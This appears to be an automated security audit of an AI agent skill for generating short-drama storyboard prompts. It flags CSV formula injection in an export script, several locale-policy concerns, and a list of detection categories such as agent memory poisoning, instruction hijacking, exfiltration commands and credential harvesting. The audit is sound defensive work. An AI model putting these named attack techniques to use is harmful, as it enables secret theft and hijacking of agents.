T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/export_prompts.py:168- Finding
Spreadsheet Formula Injection in Generated CSV Manifest
- Content
View full analysis
- Remediation
View remediation
Security audit
Short Drama Storyboard Pipeline · 短剧分镜提示词流水线
Security checks for vulnerabilities and agentic risk
Overview
This skill is a coherent local prompt-generation workflow with one real CSV-export hardening issue users should understand before opening generated manifests in spreadsheets.
Reasonable to install for local storyboard prompt generation. Use trusted storyboard CSV inputs when possible, and avoid opening generated manifest.csv files in spreadsheet software unless formula-like cells have been sanitized; manifest.json is safer for exact data review. Confirm the target model and output language before batch generation.
Vulnerability Patterns
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)
Vulnerability Patterns
- MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
- Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (6)
Undeclared Tool Scope
Medium
- Category
- MCP Least Privilege
- Confidence
- 70% confidence
- Finding
Without declared permissions the skill's intent is opaque and cannot be validated.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 90% confidence
- Finding
The markdown explicitly states that Hailuo H3 and Runway prompts must be output in English. This is a natural-language locale constraint presented as a rule, but the file does not frame it as a user choice or opt-in, which can violate language/locale policy requirements.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 88% confidence
- Finding
Line L11 requires H3 outputs to be in English, and similar language mandates appear elsewhere in the document for other models. This is a natural-language locale policy concern because it forces a language choice based on model dialect rather than explicitly offering the user a choice or documenting a justified restriction.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 91% confidence
- Finding
The section beginning at L50 states that Runway uses English prompts and provides English-only prompting guidance. Without noting that this is an optional preference, user-selected setting, or unavoidable model limitation, the file imposes a language policy that could conflict with organizational expectations around user language choice.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 90% confidence
- Finding
The document title and all operational instructions are written in Chinese, and line L16 explicitly requires dialogue/voiceover to preserve the original language while the surrounding spec provides no option for users to choose another working language or locale. This can be a language-policy issue when a skill effectively forces Chinese as the specification and interaction language without opt-in or documented regional justification.
- Content
Natural-Language Policy Violations
Low
- Category
- Not specified by scanner
- Confidence
- 81% confidence
- Finding
The documentation says certain model dialects must be written in Chinese while Runway uses short English sentences, which imposes locale/language constraints as part of the skill behavior. The README does not indicate that users can choose their preferred language or opt in to these language-specific defaults.
- Content
Static analysis
No suspicious patterns detected.